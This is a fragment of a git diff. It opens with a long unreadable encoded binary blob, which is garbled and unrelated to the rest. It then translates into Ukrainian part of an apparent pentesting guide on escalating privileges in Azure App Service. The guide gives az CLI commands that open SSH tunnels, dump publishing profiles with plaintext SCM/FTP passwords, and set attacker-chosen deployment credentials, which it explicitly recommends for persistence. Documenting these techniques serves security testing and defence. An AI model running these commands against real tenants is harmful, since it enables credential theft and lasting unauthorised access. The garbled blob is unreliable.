z`WW(7D5izsa0TV~QHVu$NVdeKcl}WE&e;_6$5E+HwjxB4S<9?Bn;*UPwsTLPGe`CA zu6Mj1=gHEGdPIHiTyyNtW_u@2*;VQg0kdpb!?I6(>f43o&tA|nG?-VO&&Gn!LzNQO z_4gy<*#gfC6}-FXa(HVS1J#g62Zy+(RAwcbAsni*UoL=dB9yS>W&U?GL7XYY*~P$^ zJ;aE`N!->%y4CKbr~c;Bzh)d9$&ydU-~yEUHn&{Yy8ca4cBhGabt{9wSK|fc;4((yB2}5{B7Q~ zC(k}TCL+-D50{?5=4aRb^MuaLhvdVM;l?J`=X3mQ<9chWDtXxa7Y#8lZl6e#a@bfb zaP^usJcwc~;%u#m1+-*4H8vK|eVODPLp759^u72M*hvAE*BYn;IYSpfw~dI_oJHhX zZMu%g!U~|f+9QmERIA+wk%NsFl2fNq%pFdoTN$csB#Q16VPF(9$h(K&>Z3qUAqXn? z`OaYG%(b`PbN>bJ9XD=lXXmf=E@gi|wj=P0vsqS_8QTN9zudif;+}E0eeAPenez0? z4^4?sv?b9YKlP2m7qdYuwPn;7}j27-=Y}vMb!! z6;mxjB?hXp_qrDWeGd)Ffeh%P<}Q5;u}-{EET9`F0rYflT?_Hijfo_EkMp)A%`r!z zSVFPkD3t5a*C%cP6^iO$8XFeUKiCY8Ph(R=|KNR;eClLG50Gynh~07*na zRN5F{7|)Y^LtNFfg+~eLk-c-P4Vq5$(!^vGPUI)eOe!F>^tgTaEATpBfCC=TO-P*j zof-jce0H6u6qkr|Cdtl2vBY$6V$bfW3ZTb( z7tr@m!CgA_}N|t6xhA!;(+GHk{X;Bg%D>9R`wk5>3c3XOP zbEjFabW_ctBQf)tPPM8iHsLJS3;A^fe@-w16AWCozU}gcwDD{jWF_~p&2kr6p>#Y2(5pZK)jnK)(wuYNj30jc+ed%8y*(?n z@AWTycEO#BKnCbL6}Id{^@u>_XFphU+oga1v&9idL>-%GZf#+!=kcq}Tlh6tck3>( zQWc3;&oEr6ChT?*kTKHYByz7waaJ;To7L?Xd+4H)BmYbGiv_$K(?~1xSgOxuVfzW} zj~Tkax05DvLU8J9olM?+7sRvCe#B7e zNv6%{c=-E2eg7Z6?PRs49`AZ~%`5^t6M+L3(6hazoq1jA|Cvpn`sjOmZ@=RU>iO04 zn_63VUOW8nrY>#+HYtYz(T`CYrvT-0kWA=C6Dv3AMOPtOj9p~Tw;(89+Vy{~UAcpL zmE89jDd2SmV+7EpaV_?2cAj*tg^3NS{8o%wth{fsn3JlE1$}GYG7gxEQpe$_cahI8 zrVpr!8;ac3)5|RZNGesup`@WIWGDx`SSD{xn2O72aZVRQ7U4_T7N-o*chk`9h12Y~ zgh+Do_mGj0_L*+KIoCZ|LS)ey1GuPHacwZ z6j!a=YW3Z>YRzU*fODOs1Rejs_Ra*}uByKGzqN-m-}z>q$V|c%hA=8J)S@B=q_2av zwY64!we>x1t?yNRY6YLg*4BAwQ9yktpil||PC+t&5E2Z8K!7A|CgzDX_>662gYNU%wk&B)-4q}b0@F` z??^9x^#7m8wG+*yTps#F_v?7~7xpsAZo#~!6-%Iw)Ioc=_q}T|c_>tsh^$TuEkO9)}TNm|Eoz2MT)S+lVbZ zf`BZSbiDU{AKdw$Km9~&)StFLm&VS9M%??#ek1Dn#zyQJ97L=!g=~7nB$Ba<-niUK z{^{G=OvP&d#Ok3_&?|2khJr3dcTAB~vkg&pE`+v{HFDb&>Ir0@x|fF58kUmEYmKlm z8!pa9U|o#H=H(a~*zdKsXEuH3_TRt$s;kuQ%Ihs#L;}YrKtVq~Bc4%#1oQ)UPXFzf zZ~4T?qig=EJ&{uTVsSj49>UN2drgJ4OgxGKUuu5KLb*o7536IFN^8Xun`WwZH2-%6 z_VGlURJR_wOt}|lU%cXWL|x43F3T)RyRfY&{2&Wu=is<5e7^yHVYVrwnv9jt{-jNwWuDuP9 z_IBduL;dKDIM|u@5XjWKR&av=whmLt7!fc2E#*@g6jz<&$s__4k6db)BU%iIljwGt zb&=OM8@9ujHPc>WBTt>}80@n$bP9W#G^LV#SUBeDjKLx3#Ik>ZHL| zlfaRAFS$sz=y(ho83k`_GKTV(7PgY|0Mf&VgR+1u&p&WK0Gz4OcS8 znJ8z;+AT}068#)@_*kM|32WrXGfBOA=)xrwZpi`{=5#kT(M_y`{E?q2MBE6nvW6Zs z0@iXgG+Yk&m%+<61K!^B+2_T+bIbRx_{_3ps^@sD`Fj$mWCHZik6|6Y+f?$fJ=8Y6 zdPi*gZU6kPm;USie`w8T7q&Gu;N@Hz|Jl7CPXKrYKrfV8W0gM=-|WLjLB8u<1)UFr z;wb3VVeePBa4%Zix7*fL?*KsK|UxfUYLIH z3pZc!k+)r^q<9~X6Cl7Xzb62xOs7!L%LJZ}Egb>9W=+e6o4@#X!KO{`nUWcqHIyAe zM>2`~yE^e`QPia_dZ1(qwwT9V@{h=lHnUy%_#cBKJ@w;x_ND9H@$Xc>9{Q+fE-z)0 zB1kr_g^?0cI9FcMJnh1=XTtXv!nMyrJa#UI(cCQ;JF|F>klV49-lJL zAc4v!aQttw%I^bPNCMFJ-aBW_ji3FZdghsHPMtnIdLWa-He2Dl`#bO=fKC7-aN#LH z>a0nU86)VX7~Anb1{Czl8)RX|w_+|h?U{es#hvN0u;MEhfo=e>5Wq?_B`-uQIv<0B z1HrsS@u#l8e)(r_ys`a$rK)0Kr5O29d3IonDu=-FzsV}6t!xPiye#YkP`we#BB)qz|dyJB&y?&!ukKaV{C(&E24E|ja0D@gGUkp$bUv77%C!g8B(o-YYX zUi}dn{pzQOUjD&omPy1jw?xR5smEf1;8X-2Y!r-`&j*}yp!E50)oc?BAB%Nuf7{jV zpZVSoFTYbMl`Vfy*a8wL4FL*zX*lvO<0Me3b-Db%-n`HZPeO7fpeVv;aIPT7{(qaJ1zd-XvrDQb`R-6wro1&xIAc06}&hlBu&{!6{@$UPxcJYSHKJ{POuTnR~HfSt| zvd)F2E<&nt3H%_3;q=y_%Px)o(;Yv!?%OkFsP1v}fR~a$MG~N(SEO0ksPPi$`Pe^P zwc$T*{n~=Ozp&A9k&PwrzIQeh?xp%7A}C}o`=9Y4Y7CwhO=8T z=U(7``-iu`R2~_c?xw1@Kswv~j>Q!~OruU9Da9RxlsQ_;mCSZ%yf~2vEhI z^uqOj{MX%U*8Yv^>RK{m>Qtmt32Ywh!@9n1Z1O#9m*g{HF0tZHW>YEsh(aHSx>q-X zexyamD)3`H|71pxq;^FE0>ls)PklO6bOqv(v!MLN@N?q9_hv4;V#e3M@{J2_UbIMc zoy=o+4GD~kz$D5C1$|tW;>DFtK(AjP-+Iff@818w!=GpzPS0yerciKQJU`fnUk~=; zXVBQK9OQMO7!oJRNJ2rEDfh$kzMHAt;*xq*PPuok#YVrDrrbk8*Jy%|cEDZ+_4%+ljiW$1TD@9H-FJ*b3auQz3tNiWn}EeQfEECA zU^`2p?9-tA(_rZ)B$9=mrslm{e)-Ekx@PfW=4Y?y4=5W~G6EFzlA+{{Dw%*@y*jqx z2lrgD>%oWrzP*3o{CRNWY0JmXwgev7vmG0~09}rSeV#@ZHsX=EiJmTK&jgOi-gMdP zZ295#wm|B!S{hy64zBqrr>Zs&#$+lGwfk~V>KWQiw^pi%% z3#*a9?*IMiw{5@ofsZA3?s?<1#)RtfN6?jY@o>jJJf8E=??ljVN70+hz;>d@dIeZg z#Kj1Y4;6$8RS=anE_?AKBtKVD<*Qhad(?52AFI%_H~$5pn2(CMBrF~8QC>kWde)NF zMK*&URnX;!qs41qE$9cGdhNo9dodroEOwYzDD5C>Cs6PurJsV-Qjz;t@M%ewg z|8ULL2Os`O?!}i@E@((5Bn9kV1w1t{fHnCMQ_!Wyj-glTshg#AQDn~)b&;ufakoum zwVC-9@6s>oP$=QI4_VROdeO-EZ8FVMp7L_gVop7tqU*id+oswLoDQ zcBH%Ol1rxD_Qfy1<=;*{RqZ=Dn!Jhxs+Rx-y?SlOmXCwLj!%E~vS;tQ=fh1ezw(Yb z(Kv#LjUCxEo*eGQZ**YR)dwOm^yhs9wydcK@PYyY3$Sbj$7Ce4koO9qSOO3A^uzm7Tu(S`W<7kP5l*3Khk{?MNUwCb z6rn}%C2k=EC)4S2YWO=KV!QBtg+d_v5SkHKbAVtj;GBtg^em{%Of%N{jZrp*_ zp2E7`4%|18hSbwE`QP0rd}W2HV6_iRdyo}h(cyg2V>hL^iymijDcy*anV}bN++?1! z%n!ut3@dd@O)yz+e{G7{v2?$@f2)d;75t5;gE-y`^$LK4M zq}BI>2(;Y-KbQ#w%V9;%Ld0Exm^}@Jp#e;tlHL5aYo~nWrkl_FadWfk8w)$0O9Hh- zpr!=9mJIXSzLYj3qqKLcUh?`ocQ06X^A|r^cyZgci>I|VXR?Dh;A(7(DBQQZ1J44G zsH#CJ>tVZ)f}JV|;OM;Zz>T1rbaM*!K@UC54L_QoMvItBT2c}Gz=EZ zDdRF`r4FW9h9tOP86Q@Ue8dj+U1s@z|vvnvw#y z@DN9!T7bwhz&jW4mmm>c3SAKC@5wA$gkQh!0~dYnZ$8}cm{MkOo(BokHGy${mDDvm zcD{xP=+)1rp8Dq3{&4rhKmYqVwp!d8bFg=)7keT$9_#PLZ@esa0T@zoWTX-sd^nZ` zC2Qz1T`YOvjn^4&Z!@W6i-InqZZuxDV);H?KNNI1vLamL{1lc~(2q3;j@+Lzju=M?(Z z1=64jVN`oO5`hkyk@2QNTc^Tu&V}QifqZri=Bv&%g6_C7FA9 zkU;4ORQXyY1-*1bfp@AA0=ci;ed?aO@B8T9M<2O3f=bx7Ogqb3y99F=ce}lI^Y++49?L_Y z96>*tn2!p&hV2yd#z^FUadzJPUEIzWNkoy)<-(|TD}kWUhyc@JVYw0VSoBO}vMIE* zv={n%Ur7JXmD9d<)8{Y#(mChUTg9|0SDLX6X`X$O1Ssey367W5HUa&uhh}X5>AmmS z@$&~iI6Z33b{r4=C}5kP$GYBLQ>|@KS?JUOq+*+R=&)rW-ORJY@s+8wt^*N$1?6Y#9O<)0#Xow;`oCS0Ouq29o zA)*l}u(AUAYztD!R%9|A1wYu)^^uRh5^;mc0O$Zy})~ z@O_!qR>-RWzJ$RawzNE&3brOZ^n*cfhrDxnPmxIrv)fN*B_xHeiWF;@+eXxVNG85! zIFWhC=Vt@KsYpc6Kq|2aejz|EySu-!x$mW$zwn;-zWdMcoKhww9S;&9fuj(hpmSJ| zz;Oud|G!^b`SMTh`^4b0TP|;c*U&zF3if&!CYn8B zqP8{i#wiaF6gR2MU$PfHbkxW9F)Xi#J__&fsrN%kX3T_z2)Ze-;=oc;zdQ=9g^ScN zm*9eF0G1;eJr9kk^WYVd7#{BOfW6*XEA0RH_pkrA8_&3qbcQ502G9G$*eg}rWN*3zdHG?G zmm`(iU_rv=e3KG3oRW5mbI@K*1jR{@j#724=%H&#uP3?MO#zk|6r@U86agCGU>1}$ zAFg!<60xNS{1#+0eV8@Zd*Y%uwEn+OeRjpI3l}mc`=ktVKBVdiP|&O1gzUg%5zrep zG;RCQgO}|3#jifnw6F8Zlve2R6t)*K*p%tTGhUyWg6~t|nz|%L5pP`ty&#$9ih?cy zU`}zVIm{F{z8;jWy-EiLL-}(Eq*3X%vGUKDet4W}K2#oWqq<%oLrz9{+ApMOy&ffI>J3iU7 zar0YeG_=Hg+s1C4!{*^`Y##2x4iwM>K$Ive0dvYSsbe8kVC0bWui-z;e)iFj@37?R zXc3c8@xwgtM~ddF%a$r75%tQHZB@1`S}WK(g%&Kpnbs;Sn{qK6CxU18uf@jTPW0m? z!1BVPGR55UVT{_L)T^(0$vBwp?a0;sV!m6`#KSVf9ZVo2Q|;PJvqPrwqSkrKRu~IgISPc8U3^sJ{#YR1VE(LU1Kw2*H6z29)}vimvi}{quo{fKBv@e$ak)$c zy$y?Srn3r5+b)D{N3f-1JvIeDK`*vJ+mdQEkVNUl!lqIfr6}lf4^wGov}~MdVA%Dd z(kl}LSAeqp;`VwQfp44Are?3bq;fTdY+Mv%4FWUFe<_>^*II~%_+nVP1*vEo4)pEH z*@<1--+RLw|M5dNEO}tcsY*5u@E`#a7$X4+`WS)nbP_n6z~EPIy=24p?|6UL<{j5e zNj9};+d)^5!$AvFcFRM zp2Onl;@q1=b0)aVHUVZ~Q4`5VSIo!~NX_<8)U_wSkE0z+ah7upmb6_2+lu13u65Yx z|F|gV;mW@DeN!0aP<{4d?@TcnIf^p|BIrd;KUf`3NrF}#3b$0B(_v*a^E3Hlx$uH0 zV%99EU>hedD#~LTN7zr;TJF0Hs%=>7Omtt+!(I$ireJH&m=w=Um0ZsI#|**)OAUa^V(GD(i}@l%bIOz@rXEDTTIJpmh!{r$aK0Td&bSOfV8bB z=2GAN(5$=po#Vvd$%}wwz0=Yb5%nh6XorP4W{SNfc?N8MmZXt^W#=%M-j!ayV#=d` z^5>V`_{UdbgF0Qwu09?lKmy|=KtUfT!0>Xu=avLx4ctVp-yMJAKW=-^`aAFY=$u6J ztdw%2wyn_X=kdZoC!Wc6VFw1$fdcwOC{+}BON3ma-TkmK+rg=A3o4MQ?8EnX%YHZ! ze_3M}V7Bpy%^La_ULIu}cq8b=uMPQInqx;`>m-6835`a$n283p1j)!^v^SoE%uo^zQpouOh&FU? zdF!>yzx7A&oBxv)7c1H6$Abh&phN^H=p_Ql+mOKF1oYicF8J(>(u+a(^GZ4oDB%=$Fv=<;^Pe(TGprN4&nOygQ zMW;5d`HK&n`?*ygP#ZW}NPq-NPk@46dZxT%2?=PeRka36X|0{LfB&WHdLDo7T_YQJ zyt%OuNjA2&W6;*vGT4LXa@}|?-+?ZSU=V5KM5-mzoOs|O)G~D**ll6*nx=oY$WZ)Xo#MLxN{1W*DRIZq3zzDL{smJzkAIo z-+upx&bV*(G9^3uc#r@IOaK82`UF7bElJ>2-ueU2&3oY|zr1$ygKPgh*ExJzb5om> zi$$?JKZxft9oUl_z<%!l`jEyD^2mx5Dh=O~QmZm49!mP?D!Wd32YV zxYnLyrohERUr`K-i`sE)?OKaXzD&74Z(a>#ZQN{`Gt=sl^hHEHoZb&i%5)EbDn`JY z_XbH2lK@PnH`!O-h$NmMT8g-{z|<@cytrIfu-yKhdCP)d-0(jx`TSenrM7TX zkN^oxECCAo#Pa3cN#G!X?A@Ce{PNa&-uLVyPrkby$+=V8XP`TsMlNP!_h2`+4D7@n z96&EJ=*I}s$ikC->W+rzhug+1CmOD6%f9xg?EeAn!~g&h2uVaiRPi2y6>j|wm)^yJ z4qVuN0!@06Swmkg_0a7&p6gtTr@gz-ueO;zq;baZqB4NnZEY{*J^~Vn*rSn z7qifS`DltRK+>Iwh?;^z&Vg;afbDfPHRG8#y>MI2^-h%{4;KT?} z&`*pL&mw`663~zLG`_U@iE|$M>fQgesCnLu;dE}!o{mm9sU&nNhL`(x;kkjAZ~z17 z!!Y_Wh%EB391DRYpV1nQN$_eM?K$HwW5}p)ooKxm*Gf%)~VNG_=N-!VRV&;mkxT z(T3jP9u#!%-oWkLd;X=fzxS6nTy*#8SF4Va!s5+HfCNs600sSoFdcCccd4BWHC}TR z0(x~+rO9x5?!$DQ5$nm)&mRe7zkel$8u` zDu}|;O|Z}m2QzU>>O4$sTn=xz5h$dPblOcoT>nV-P_#L}d%@}PU%&g$SAOY=zhM4# z4ssGGCjkn2IqCD+Bv2%v*Yvmi?6&)_{O!*+{$(N;JFnGkYE2KOq2o3Nf;4t#IKh`e?3eYD;v=YRsp%70EHN2ANuJ<58bum*wVQkn`8|g+hr4-`6DT3 z9V-gQwxJ4=i#-Y#EoNF>{+ly(CHzby9Nmm)B!$4sBAXlNPc}GPT4w64SFAei-%elE zy6wF4BnK@I5+H$c5}=@$lRlqK0!I+gKN*_(z>ogxU0Wa7{H`XIIz{=;6w9{Z$1L;) zX}r|C6T61@p%(*YjeQV9#$y+87EjwR3c6HcZ^lBLW?vmvTeIVMwqqSO`FEiYFB?IZ zJ>@o1M*JPb5J4lFFdI$oe6&TEAZgD-%$kOgw1(wch$e!8A#c~dcw^?}RqwpyGw;1< z#wPXqCLEpz36MYq5TKw}fDzaP5;&4T&%Hf!*4(q^@|Palc3rkJdv;96=e4%BnW^}` z^dNeMd(epkcqX$I-9ayggCY3FXD=qHfrUoQ$C=hOSUUA0M66gS=z&bRZ->OQ%T~2G zW|(rOQp%;-IR#TrB39ciS9i>m|Rl=*yR_nzDBB+mxiD=RpD_P=N#}=oM%bHi-m| zB%pt)8-M?Spj+=i4r#MDd`9e2 z%$Rb9Ng(q|=Vt85Za@wrNMaVIBo|?Bd^x;y46vezCXy)V0E79yyl3~n=rp9C{lgos z{QO0iH@`6FVwIs)NPq+?n*as9vhBmxk-)16h_FAl`niiY{py)N*!xoVr3tIylw2la z6(nelU3oZEdmlH`j0~X}lx&eTOlTu9cg9kdFtQ{HC5e&TOR@|ZQIVx-Bx}ZdsVPNQ zs+;9CsN7H{g{&{R#SPb9NO`|!W<1Y*-oM^?&OdX0=bZ2I`Fy^=?L0F?xeL8!iO1?B zVq(60;8Iced`8KvffXfSs_(V-P?6&8R fd$V<$sW!5?4rL46d8XTircFh; zqjHlT(;db>{Y&GS#vHZWco@c*LOCmKbPU$S)ufQSf(m--j*SGKqkm7AHnzUqHb3id zux-gI>H}TTiijj;hBj?~JY*(GQ9X|FP$-is?!fR+?DnJ)wPsz>!8j`hL)wQl8=5>fMQF z)OS?H_GiSj9gSUanVfF#BO$+nM`?yqvQl+{rLjvd;QR#Los zMqUbLf4>|VHaLv9G8*SJ%n9n~ys;GIk2op^O zl(=aVmhYSh?wtr@2_J5X-(`5D8!LFSAD*+BG9r&yK@6p+QKJo53EoC8{4E6`!a^4; zj5ys?F25I!E;)}Xn^Soh3--<)0DDa@0=jJZnFzYX9g{FM&+qwdXN(2N)f}_Xzjy27 zySrNFc-sE&r_?@fp-OIk|GCZ8Lo%~v7kcpsA=?b-_R{Z__GUeSoUalK zy;W2-{=8EKUP5_o^gmJ3Yqz~qoW_Wgrdco2Ht5_KhiBj&H9qf4;KUm>(y8Ge1+9D^a`|{c8P%M=<*3dq#0jzn0 zqXstZ*lu&iY|idH5nDTVAgW1Ri(Fovkk)t$vXgp61omqeB8`MNx{5+?>;Il{A28zt zqVx010%zTAMxa0*7uyX3AU+~5EaMYMD$zAr7#rUYV!S&ACXZ{v93b$n;={CGU6x7Z zl6xyQ0+KA`!aezmvV01l2-#G?1^2uqj|GeoM}A8W62fw2TXNOLGTTuh%R zV&BLxFEmTWER+~0KUmZO@^-DyPVFbihD(_VBjKPR5(UF8)qI6OsIuYd0(L;&Q0OM0 zU-o1q5XEc58r;mRyVs$idKe;HD5ztqZ_{?K-oY-1f)Y%ee(?-~GE1 zM(dZQm@Sh>rQBIl2gH{&$e+}~mTrcKPmgY!R`8nzBza94hX6{x46Km?oVY27jn7vp zMX6UvKvFtD$v+gvoOA9*ksnUL2@PsF6vg?Vs4sZ}a^HfdfW*ev2_905kf`)y_ZdOW z$lU@6Zw;&1an?G1Nad`5NJJJUeSdsHoSB8@ck?=ieG1FC)CIk))NyC1dt!LKi3M+w zGIUuDMKHmkmp_}}PSqr0?Cj%Jq64F5LWb4I&hpac-uCG04)KMPxF^!s*arM83h@gL z!)Z*j_9)#eFLG=KCpdT3l1)$WHoi=&`IT<8*LICepKZdhKeRQ$D&q)mwX`X~w{l^~ z{2TvK_JnO&r4mr8GuuB#lM4CveyU7p_~g-U<(IMp%oly1BC#5wWk*f`PmGz2-0 zDVkm%6U*vIWzQ1teQzXC zGcvF;LYhup#H?1ZP^5zGZ(aLN66L7%F6~aYGl63T=jF&FAjscf z&(3(OL`;DaENx&GE;ga~otM8lnPQ+AO@hu%fHEk=8-A8mX4O&}SPC9p z^cBXSqYT;m%VWl|+%mppOi4u})C|3xsg$w){K^veprj_WMO}lW%hxJ`f%%*q-|4xv zB;0&HCsvaoqXzGi;_dv*F8P@FVcfsG-P3V6LgoP?q+u-x-MB%f8fE?CnaQ-iK*ua~ zs&RrN#r!F%p%i?yKrc%T*>J+qXVpiqhloAS5IX*keuW>1ZXz-UT33H^wQfZsHODfe z%Ta-m>{EB5_*?NNmNal6dp&|meRJM5a;*&K`^Mtr^DpmxHG1|V<2n%M-m^&3Dsfa9 ZE7J3mdLk)$=e$MWV{7ebRR;T~{{;o| --resource-group ``` - -- **Create tunnel and then connect to SSH**: - +- **Створіть тунель, а потім підключіться до SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -35,152 +32,146 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Налагодження програми**: +1. Встановіть розширення Azure у VScode. +2. Увійдіть у розширення з обліковим записом Azure. +3. Перерахуйте всі служби App у підписці. +4. Виберіть службу App, яку ви хочете налагоджувати, клацніть правою кнопкою миші та виберіть "Почати налагодження". +5. Якщо у програми не ввімкнено налагодження, розширення спробує його ввімкнути, але ваш обліковий запис повинен мати дозвіл `Microsoft.Web/sites/config/write`, щоб це зробити. -- **Debug the application**: - 1. Install the Azure extension in VScode. - 2. Login in the extension with the Azure account. - 3. List all the App services inside the subscription. - 4. Select the App service you want to debug, right click and select "Start Debugging". - 5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. +### Отримання облікових даних SCM та увімкнення базової аутентифікації -### Obtaining SCM Credentials & Enabling Basic Authentication - -To obtain the SCM credentials, you can use the following **commands and permissions**: - -- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call: +Щоб отримати облікові дані SCM, ви можете використовувати наступні **команди та дозволи**: +- Дозвіл **`Microsoft.Web/sites/publishxml/action`** дозволяє викликати: ```bash az webapp deployment list-publishing-profiles --name --resource-group # Example output [ { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", - "publishMethod": "MSDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "ftpPassiveMode": "True", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", - "publishMethod": "FTP", - "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", - "publishMethod": "ZipDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - } +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} ] ``` +Зверніть увагу, що **ім'я користувача завжди однакове** (за винятком FTP, яке додає назву програми на початку), але **пароль однаковий** для всіх. -Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them. - -Moreover, the **SCM URL is `.scm.azurewebsites.net`**. - -- The permission **`Microsoft.Web/sites/config/list/action`** allows to call: +Крім того, **SCM URL є `.scm.azurewebsites.net`**. +- Дозвіл **`Microsoft.Web/sites/config/list/action`** дозволяє викликати: ```bash az webapp deployment list-publishing-credentials --name --resource-group # Example output { - "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "kind": null, - "location": "Canada Central", - "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "publishingPasswordHash": null, - "publishingPasswordHashSalt": null, - "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "resourceGroup": "carlos_rg_3170", - "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", - "type": "Microsoft.Web/sites/publishingcredentials" +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" } ``` +Зверніть увагу, що **облікові дані однакові** з попередньою командою. -Note how the **credentials are the same** as in the previous command. - -- Another option would be to **set you own creds** and use them: - +- Інший варіант - **встановити свої власні облікові дані** та використовувати їх: ```bash +# Show if any user is configured (password won't be shown) +az webapp deployment user show + +# Set your own credentials az webapp deployment user set \ - --user-name hacktricks \ - --password 'W34kP@ssw0rd123!' +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' + +# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp ``` +Тоді ви можете використовувати ці облікові дані для **доступу до платформ SCM та FTP**. Це також чудовий спосіб підтримувати постійність. -Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence. - -Remember that to access the SCM platform from the **web you need to access to `/BasicAuth`**. +Пам'ятайте, що для доступу до платформи SCM з **вебу вам потрібно перейти за адресою `/BasicAuth`**. > [!WARNING] -> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work. - -- If you see 